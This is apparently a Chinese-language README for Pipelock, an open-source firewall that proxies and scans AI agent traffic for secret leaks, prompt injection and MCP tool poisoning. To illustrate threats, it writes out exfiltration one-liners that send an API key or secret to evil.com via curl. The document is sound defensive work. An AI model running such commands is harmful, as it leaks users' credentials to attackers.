luckyPipewrench/pipelock

# Pipelock [](https://github.com/luckyPipewrench/pipelock/actions/workflows/ci.yaml) [](https://goreportcard.com/report/github.com/luckyPipewrench/pipelock) [](https://github.com/luckyPipewrench/pipelock/releases) [](https://scorecard.dev/viewer/?uri=github.com/luckyPipewrench/pipelock) [](https://www.bestpractices.dev/projects/11948) [](https://codecov.io/gh/luckyPipewrench/pipelock) [](https://opensource.org/licenses/Apache-2.0) **面向 AI agent 的开源 [agent firewall](https://pipelab.org/agent-firewall/)。** 单一二进制文件，零运行时依赖。 你的 agent 环境中拥有 `$ANTHROPIC_API_KEY`，并且具备 shell 访问权限。只需一个请求： ``` curl "https://evil.com/steal?key=$ANTHROPIC_API_KEY" # game over, unless pipelock is watching ``` **适用于：** Claude Code · OpenAI Agents SDK · Google ADK · AutoGen · CrewAI · LangGraph · Cursor [快速开始](#quick-start) · [集成指南](#integration-guides) · [文档](docs/) · [博客](https://pipelab.org/blog/)  ## 快速开始 ``` # macOS / Linux brew install luckyPipewrench/tap/pipelock # 或者下载二进制文件（无依赖） # 参见 https://github.com/luckyPipewrench/pipelock/releases # 或者使用 Docker docker pull ghcr.io/luckypipewrench/pipelock:latest # 或者从源码构建（需要 Go 1.24+） go install github.com/luckyPipewrench/pipelock/cmd/pipelock@latest ``` **30 秒内试用：** ``` # 1. 生成配置 pipelock generate config --preset balanced > pipelock.yaml # 2. 此操作应被 BLOCKED（DLP 捕获虚假 API key） pipelock check --config pipelock.yaml --url "https://example.com/?key=sk-ant-api03-fake1234567890" # 3. 此操作应被 ALLOWED（URL 干净，无机密信息） pipelock check --config pipelock.yaml --url "https://docs.python.org/3/" ```

正向代理模式（零代码修改，适用于任何 HTTP 客户端）

正向代理拦截标准的 `HTTPS_PROXY` 流量。在配置中启用它，然后将任何进程指向 pipelock： ``` # 编辑 pipelock.yaml：将 forward_proxy.enabled 设置为 true pipelock run --config pipelock.yaml export HTTPS_PROXY=http://127.0.0.1:8888 export HTTP_PROXY=http://127.0.0.1:8888 # 现在每个 HTTP 请求都会流经 pipelock 的扫描器。 curl "https://example.com/?key=sk-ant-api03-fake1234567890" # blocked ``` 无需 SDK，无需封装器，无需修改代码。只要 agent 使用 HTTP，pipelock 就能对其进行扫描。

Fetch 代理模式（适用于带有专用 fetch 工具的 agent）

``` # 启动代理（agents 连接到 localhost:8888/fetch?url=...） pipelock run --config pipelock.yaml # 对于完全网络隔离（agent 只能访问 pipelock）： pipelock generate docker-compose --agent claude-code -o docker-compose.yaml docker compose up ```

验证发布完整性（SLSA provenance + SBOM）

每次发布都包含 SLSA 构建来源和 SBOM (CycloneDX)。使用 GitHub CLI 进行验证： ``` # 验证已下载的二进制文件 gh attestation verify pipelock_*_linux_amd64.tar.gz --owner luckyPipewrench # 验证容器镜像（替换 release 版本） gh attestation verify oci://ghcr.io/luckypipewrench/pipelock: --owner luckyPipewrench ```

## 工作原理 Pipelock 是一个 [agent firewall](https://pipelab.org/agent-firewall/)：就像 Web 应用的 WAF 一样，它内联部署在 AI agent 和互联网之间。它使用**能力分离**机制：agent 进程（持有密钥）受到网络限制，而 Pipelock（不持有任何密钥）通过 9 层扫描器管道检查所有流量。 三种代理模式，同一个端口： - **Fetch 代理** (`/fetch?url=...`)：Pipelock 获取 URL，提取文本，扫描响应中的 prompt 注入，并返回干净的内容。最适用于使用专用 fetch 工具的 agent。 - **正向代理** (`HTTPS_PROXY`)：标准 HTTP CONNECT 隧道和 absolute-URI 转发。Agent 将 Pipelock 用作其系统代理，无需修改任何代码。Hostname 扫描可在隧道打开前捕获被阻止的域和 SSRF。 - **WebSocket 代理** (`/ws?url=ws://...`)：双向帧扫描，对文本帧进行 DLP + 注入检测。内置分片重组、消息大小限制、空闲超时和连接生命周期控制。 ``` flowchart LR subgraph PRIVILEGED["Privileged Zone"] Agent["AI Agent\n(has API keys)"] end subgraph FETCH["Firewall Zone"] Proxy["Pipelock\n(NO secrets)"] Scanner["Scanner Pipeline\nSSRF · Blocklist · Rate Limit\nDLP · Env Leak · Entropy · Length"] end subgraph NET["Internet"] Web["Web"] end Agent -- "fetch URL\nCONNECT\nor WebSocket" --> Proxy Proxy --> Scanner Scanner -- "content or\ntunnel" --> Agent Scanner -- "request" --> Web Web -- "response" --> Scanner Scanner -- "clean content" --> Agent style PRIVILEGED fill:#fee,stroke:#c33 style FETCH fill:#efe,stroke:#3a3 style NET fill:#eef,stroke:#33c ```

文本图表（适用于终端 / 非 mermaid 渲染器）

``` ┌──────────────────────┐ ┌───────────────────────┐ │ PRIVILEGED ZONE │ │ FIREWALL ZONE │ │ │ │ │ │ AI Agent │ IPC │ Pipelock │ │ - Has API keys │────────>│ - NO secrets │ │ - Has credentials │ fetch / │ - Full internet │ │ - Restricted network│ CONNECT │ - Returns text │ │ │ /ws │ - WS frame scanning │ │ │<────────│ - URL scanning │ │ Can reach: │ content │ - Audit logging │ │ ✓ api.anthropic.com │ │ │ │ ✓ discord.com │ │ Can reach: │ │ ✗ evil.com │ │ ✓ Any URL │ │ ✗ pastebin.com │ │ But has: │ └──────────────────────┘ │ ✗ No env secrets │ │ ✗ No credentials │ └───────────────────────┘ ```

## 为什么选择 Pipelock？ | | Pipelock | Scanners (agent-scan) | Sandboxes (srt) | Kernel agents (agentsh) | |---|---|---|---|---| | 防止密钥泄露 | 是 | 部分 (proxy mode) | 部分 (domain-level) | 是 | | DLP + 熵分析 | 是 | 否 | 否 | 部分 | | Prompt 注入检测 | 是 | 是 | 否 | 否 | | 工作区完整性监控 | 是 | 否 | 否 | 部分 | | MCP 扫描（双向 + 工具投毒） | 是 | 是 | 否 | 否 | | WebSocket 代理（帧扫描 + 分片重组） | 是 | 否 | 否 | 否 | | MCP HTTP 传输（Streamable HTTP + 反向代理） | 是 | 否 | 否 | 否 | | 紧急熔断开关（config + signal + file + API） | 是 | 否 | 否 | 否 | | 事件发送（webhook + syslog） | 是 | 否 | 否 | 否 | | 工具调用链检测 | 是 | 否 | 否 | 否 | | 单一二进制，零依赖 | 是 | 否 | 否 | 否 | | 审计日志 + Prometheus | 是 | 否 | 否 | 否 | 完整对比：[docs/comparison.md](docs/comparison.md) ## 安全矩阵 Pipelock 以三种模式运行： | 模式 | 安全性 | Web 浏览 | 用例 | |------|----------|--------------|----------| | **strict** | 仅白名单 | 无 | 受监管行业，高安全性 | | **balanced** | 阻止简单攻击 + 检测复杂攻击 | 通过 fetch 或正向代理 | 大多数开发者（默认） | | **audit** | 仅日志记录 | 无限制 | 强制执行前的评估 | 每种模式能阻止、检测或记录的内容： | 攻击向量 | Strict | Balanced | Audit | |---------------|--------|----------|-------| | `curl evil.com -d $SECRET` | **已阻止** | **已阻止** | 已记录 | | URL 查询参数中的密钥 | **已阻止** | **已检测**（DLP 扫描） | 已记录 | | URL 中 Base64 编码的密钥 | **已阻止** | **已检测**（熵扫描） | 已记录 | | DNS 隧道 | **已阻止** | **已检测**（子域名熵） | 已记录 | | 分块泄露 | **已阻止** | **已检测**（速率 + 数据预算） | 已记录 | | URL 中公钥加密的 blob | **已阻止** | 已记录（熵标记） | 已记录 | ## 功能特性 ### 9 层 URL 扫描器 每个请求都经过：scheme 验证、域名黑名单、DLP 模式匹配（35 种内置模式，涵盖 API key、token、凭据和注入尝试）、路径熵分析、子域名熵分析、带有 DNS 重绑定防护的 SSRF 保护、每域名速率限制、URL 长度限制和每域名数据预算。 DLP 在 DNS 解析之前运行。密钥在任何 DNS 查询离开代理之前就会被捕获。请参阅 [docs/bypass-resistance.md](docs/bypass-resistance.md) 查看完整的规避测试矩阵。 ### 响应扫描 获取的内容在到达 agent 之前会经过 prompt 注入扫描。6 轮规范化管道可捕获零宽字符规避、同形字替换、黑客语编码和 base64 包装的 payload。操作包括：`block`（阻止）、`strip`（清除）、`warn`（警告）或 `ask`（人工确认）。 ### MCP 代理 通过双向扫描封装任何 MCP server。三种传输模式：stdio 子进程封装、Streamable HTTP 桥接和 HTTP 反向代理。双向扫描：检查客户端请求的 DLP 泄露，扫描服务器响应的注入内容，并检查 `tools/list` 响应是否有投毒描述和会话中途的“撤梯子”更改。 ``` # 封装本地 MCP server (stdio) pipelock mcp proxy --config pipelock.yaml -- npx -y @modelcontextprotocol/server-filesystem /tmp # 代理远程 MCP server (HTTP) pipelock mcp proxy --upstream http://localhost:8080/mcp # 组合模式（fetch/forward proxy + MCP 位于独立端口） pipelock run --config pipelock.yaml --mcp-listen 0.0.0.0:8889 --mcp-upstream http://localhost:3000/mcp ``` ### MCP 工具策略 在危险的工具调用到达 MCP server 之前将其阻止的预执行规则。内置 9 条规则，涵盖破坏性操作、凭据访问、反向 shell 和编码命令执行。内置 Shell 混淆检测。 ### 工具调用链检测 检测 MCP 工具调用序列中的攻击模式。内置 8 种模式，涵盖侦察、凭据窃取、数据暂存和泄露链。使用具有可配置间隔容差的子序列匹配，因此在攻击步骤之间插入无害调用无法规避检测。 ### 熔断开关 紧急全量拒绝，具有四个独立的激活源：配置文件、SIGUSR1、哨兵文件和远程 API。任何一个处于活动状态都会阻止所有流量。API 可以在单独的端口上运行，以便 agent 无法停用自己的熔断开关。 ``` # 从 operator 机器激活 curl -X POST http://localhost:9090/api/v1/killswitch \ -H "Authorization: Bearer TOKEN" -d '{"active": true}' ``` ### 事件发送 将审计事件转发到外部系统（SIEM、webhook 接收器、syslog）。事件即发即弃，永不阻塞代理。每个事件在适用的情况下都包含 MITRE ATT&CK 技术 ID（T1048 用于泄露，T1059 用于注入，T1195.002 用于供应链）。 有关日志架构、转发模式和示例 SIEM 查询，请参阅 [docs/guides/siem-integration.md](docs/guides/siem-integration.md)。 ### 更多功能 | 功能 | 作用 | |---------|-------------| | **Diagnose** | `pipelock diagnose` 运行 6 项本地检查以验证配置端到端工作（无需网络） | | **阻止提示** | 选择加入 `explain_blocks: true` 会向被阻止的响应添加修复建议 | | **项目审计** | `pipelock audit ./project` 扫描安全风险并生成量身定制的配置 | | **文件完整性** | SHA256 清单检测已修改、添加或删除的工作区文件 | | **Git 保护** | `git diff \| pipelock git scan-diff` 在提交前捕获密钥 | | **Ed25519 签名** | 密钥管理、文件签名和签名验证，用于多 agent 信任 | | **会话分析** | 每会话行为分析（域名突发、容量激增） | | **自适应强制执行** | 威胁分数累积与自动升级 | | **发现抑制** | 通过配置规则或内联 `pipelock:ignore` 注释静默已知的误报 | | **多 Agent 支持** | 通过 `X-Pipelock-Agent` 标头进行 Agent 识别，用于按 agent 过滤 | | **集群监控** | Prometheus 指标 + 可直接导入的 [Grafana dashboard](configs/grafana-dashboard.json) |  ## 配置 生成起始配置，或使用 6 个预设之一： ``` pipelock generate config --preset balanced > pipelock.yaml pipelock audit ./my-project -o pipelock.yaml # tailored to your project ``` | 预设 | 模式 | 操作 | 最适用于 | |--------|------|--------|----------| | `configs/balanced.yaml` | balanced | warn | 通用目的 | | `configs/strict.yaml` | strict | block | 高安全性 | | `configs/audit.yaml` | audit | warn | 仅日志监控 | | `configs/claude-code.yaml` | balanced | block | Claude Code（无人值守） | | `configs/cursor.yaml` | balanced | block | Cursor IDE | | `configs/generic-agent.yaml` | balanced | warn | 新 agent（调整中） | 配置更改通过文件监视器或 SIGHUP 自动生效（大多数字段支持热加载，无需重启）。 包含所有字段、默认值和热加载行为的完整参考：**[docs/configuration.md](docs/configuration.md)** ## 集成指南 - **[Claude Code](docs/guides/claude-code.md):** MCP 代理设置，`.claude.json` 配置 - **[OpenAI Agents SDK](docs/guides/openai-agents.md):** `MCPServerStdio`，多 agent 交接 - **[Google ADK](docs/guides/google-adk.md):** `McpToolset`，`StdioConnectionParams` - **[AutoGen](docs/guides/autogen.md):** `StdioServerParams`，`mcp_server_tools()` - **[CrewAI](docs/guides/crewai.md):** `MCPServerStdio` 封装，`MCPServerAdapter` - **[LangGraph](docs/guides/langgraph.md):** `MultiServerMCPClient`，`StateGraph` - **Cursor:** 使用 `configs/cursor.yaml`，采用与 [Claude Code](docs/guides/claude-code.md) 相同的 MCP 代理模式 - **[OpenClaw](docs/guides/openclaw.md):** Gateway sidecar，init container，`generate mcporter` 配置封装 ## CI 集成 ### GitHub Action 在每个 PR 上扫描项目的 agent 安全风险。无需 Go 工具链。 ``` # .github/workflows/pipelock.yaml - uses: luckyPipewrench/pipelock@v0.3.3 with: scan-diff: 'true' fail-on-findings: 'true' ``` 该 action 下载预构建的二进制文件，在项目上运行 `pipelock audit`，扫描 PR diff 中泄露的密钥，并将审计报告作为 workflow artifact 上传。关键发现会在 PR diff 上生成内联注释。 完整 workflow 请参见 [`examples/ci-workflow.yaml`](examples/ci-workflow.yaml)。 ### 可复用 Workflow 为了更简单地采用，直接调用可复用 workflow： ``` # .github/workflows/security.yaml jobs: pipelock: uses: luckyPipewrench/pipelock/.github/workflows/reusable-scan.yml@v1 with: fail-on-critical: true ``` 这就是整个 workflow。其他均为默认值：自动生成的配置、PR diff 扫描、artifact 上传。 ## 部署 ``` # Docker docker pull ghcr.io/luckypipewrench/pipelock:latest docker run -p 8888:8888 -v ./pipelock.yaml:/config/pipelock.yaml:ro \ ghcr.io/luckypipewrench/pipelock:latest \ run --config /config/pipelock.yaml --listen 0.0.0.0:8888 # 网络隔离 agent (Docker Compose) pipelock generate docker-compose --agent claude-code -o docker-compose.yaml docker compose up ``` 生产部署方案（带有网络隔离的 Docker Compose、Kubernetes sidecar + NetworkPolicy、iptables/nftables、macOS PF）：**[docs/guides/de-recipes.md](docs/guides/deployment-recipes.md)**

API 参考

``` # 获取 URL（返回提取的文本内容） curl "http://localhost:8888/fetch?url=https://example.com" # Forward proxy（当 forward_proxy.enabled: true） # 设置 HTTPS_PROXY=http://localhost:8888 并正常使用任何 HTTP 客户端。 curl -x http://localhost:8888 https://example.com # WebSocket proxy（当 websocket_proxy.enabled: true） # wscat -c "ws://localhost:8888/ws?url=ws://upstream:9090/path" # 健康检查 curl "http://localhost:8888/health" # Prometheus 指标 curl "http://localhost:8888/metrics" # JSON 统计（top blocked domains, scanner hits, tunnels, block rate） curl "http://localhost:8888/stats" # Kill switch API（当设置了 api_listen 时，使用该端口） curl -X POST http://localhost:9090/api/v1/killswitch \ -H "Authorization: Bearer TOKEN" -d '{"active": true}' curl http://localhost:9090/api/v1/killswitch/status \ -H "Authorization: Bearer TOKEN" ``` **Fetch 响应：** ``` { "url": "https://example.com", "agent": "my-bot", "status_code": 200, "content_type": "text/html", "title": "Example Domain", "content": "This domain is for use in illustrative examples...", "blocked": false } ``` **Health 响应：** ``` { "status": "healthy", "version": "x.y.z", "mode": "balanced", "uptime_seconds": 3600.5, "dlp_patterns": 35, "response_scan_enabled": true, "kill_switch_active": false } ```

OWASP Agentic Top 10 覆盖范围

| 威胁 | 覆盖程度 | |--------|----------| | ASI01 Agent Goal Hijack | **强：** 双向 MCP + 响应扫描 | | ASI02 Tool Misuse | **部分：** 代理作为受控工具，MCP 扫描 | | ASI03 Identity & Privilege Abuse | **强：** 能力分离 + SSRF 保护 | | ASI04 Supply Chain Vulnerabilities | **部分：** 完整性监控 + MCP 扫描 | | ASI05 Unexpected Code Execution | **中等：** HITL 批准，默认失败关闭 | | ASI06 Memory & Context Poisoning | **中等：** 对获取内容进行注入检测 | | ASI07 Insecure Inter-Agent Communication | **部分：** agent ID，完整性，签名 | | ASI08 Cascading Failures | **中等：** 失败关闭架构，速率限制 | | ASI09 Human-Agent Trust Exploitation | **部分：** HITL 模式，审计日志 | | ASI10 Rogue Agents | **强：** 域名白名单 + 速率限制 + 能力分离 | 详情、配置示例和差距分析：[docs/owasp-mapping.md](docs/owasp-mapping.md)

## 文档 | 文档 | 内容 | |----------|-------------| | [配置参考](docs/configuration.md) | 所有配置字段、默认值、热加载行为、预设 | | [部署方案](docs/guides/deployment-recipes.md) | Docker Compose，K8s sidecar + NetworkPolicy，iptables，macOS PF | | [规避抵抗](docs/bypass-resistance.md) | 已知规避技术、缓解措施和诚实的局限性 | | [已拦截的已知攻击](docs/attacks-blocked.md) | 真实攻击及其复现代码段和阻止它的 pipelock 配置 | | [策略规范 v0.1](docs/policy-spec-v0.1.md) | 便携式 agent firewall 策略格式 | | [SIEM 集成](docs/guides/siem-integration.md) | 日志架构、转发模式、KQL/SPL/EQL 查询 | | [指标参考](docs/metrics.md) | 所有 20 个 Prometheus 指标，告警规则模板 | | [OWASP 映射](docs/owasp-mapping.md) | 与 OWASP Agentic AI Top 10 的覆盖对比 | | [对比](docs/comparison.md) | Pipelock 与 agent-scan, srt, agentsh, MCP Gateway 的对比 | | [发现抑制](docs/guides/suppression.md) | 规则名称、路径匹配、内联注释、CI 集成 | | [OpenClaw 指南](docs/guides/openclaw.md) | Gateway sidecar，init container，`generate mcporter` 封装 | | [安全保证](docs/security-assurance.md) | 安全模型、信任边界、供应链 | | [EU AI Act 映射](docs/compliance/eu-ai-act-mapping.md) | 逐条合规映射 | ## 项目结构 ``` cmd/pipelock/ CLI entry point internal/ cli/ 20+ Cobra commands (run, check, generate, mcp, integrity, ...) config/ YAML config, validation, defaults, hot-reload (fsnotify) scanner/ 9-layer URL scanning pipeline + response injection detection audit/ Structured JSON logging (zerolog) + event emission dispatch proxy/ HTTP proxy: fetch, forward (CONNECT), WebSocket, DNS pinning mcp/ MCP proxy + bidirectional scanning + tool poisoning + chains killswitch/ Emergency deny-all (4 sources) + port-isolated API emit/ Event emission (webhook + syslog sinks) metrics/ Prometheus metrics + JSON stats normalize/ Unicode normalization (NFKC, confusables, combining marks) integrity/ SHA256 file integrity monitoring signing/ Ed25519 key management gitprotect/ Git diff scanning for secrets hitl/ Human-in-the-loop terminal approval configs/ 6 preset config files docs/ Guides, references, compliance mappings ``` ## 测试 规范指标，每次发布更新。 | 指标 | 值 | |--------|-------| | Go tests (with `-race`) | 3,900+ | | Statement coverage | 95%+ | | Evasion techniques tested | 230+ | | Scanner pipeline overhead | ~25us per URL scan | | CI matrix | Go 1.24 + 1.25, CodeQL, golangci-lint | | Supply chain | SLSA provenance, CycloneDX SBOM, cosign signatures | | OpenSSF Scorecard | [实时分数](https://scorecard.dev/viewer/?uri=github.com/luckyPipewrench/pipelock) | 运行 `make test` 在本地验证。完整基准测试详情：[docs/benchmarks.md](docs/benchmarks.md)。 ## 致谢 - 架构受 [Anthropic's Claude Code sandboxing](https://www.anthropic.com/engineering/claude-code-sandboxing) 和 [sandbox-runtime](https://github.com/anthropic-experimental/sandbox-runtime) 启发 - 威胁模型参考了 [OWASP Agentic AI Top 10](https://genai.owasp.org/resource/owasp-top-10-for-agentic-applications-for-2026/) - 参见 [docs/comparison.md](docs/comparison.md) 了解 Pipelock 与该领域其他工具的关系 - Dylan Corrales 的安全审查贡献 欢迎贡献。请参阅 [CONTRIBUTING.md](CONTRIBUTING.md) 了解指南。 如果 Pipelock 对您有用，请 [star 本仓库](https://github.com/luckyPipewrench/pipelock)。这有助于其他人发现该项目。 ## 许可证 Apache License 2.0。Copyright 2026 Joshua Waldrep。 全文请见 [LICENSE](LICENSE)。

标签：AI Agent安全, AI防火墙, API安全, Claude, CrewAI, CVE检测, DLP, EVTX分析, EVTX分析, Generative AI, Go语言, IP 地址批量处理, JSONLines, JSON输出, LangGraph, LLM, MCP安全, SSRF防护, StruQ, Unmanaged PE, x64dbg, 大模型安全, 工具投毒检测, 敏感数据检测, 日志审计, 环境变量保护, 程序破解, 网络安全, 自定义请求头, 请求拦截, 逆向代理, 隐私保护, 零信任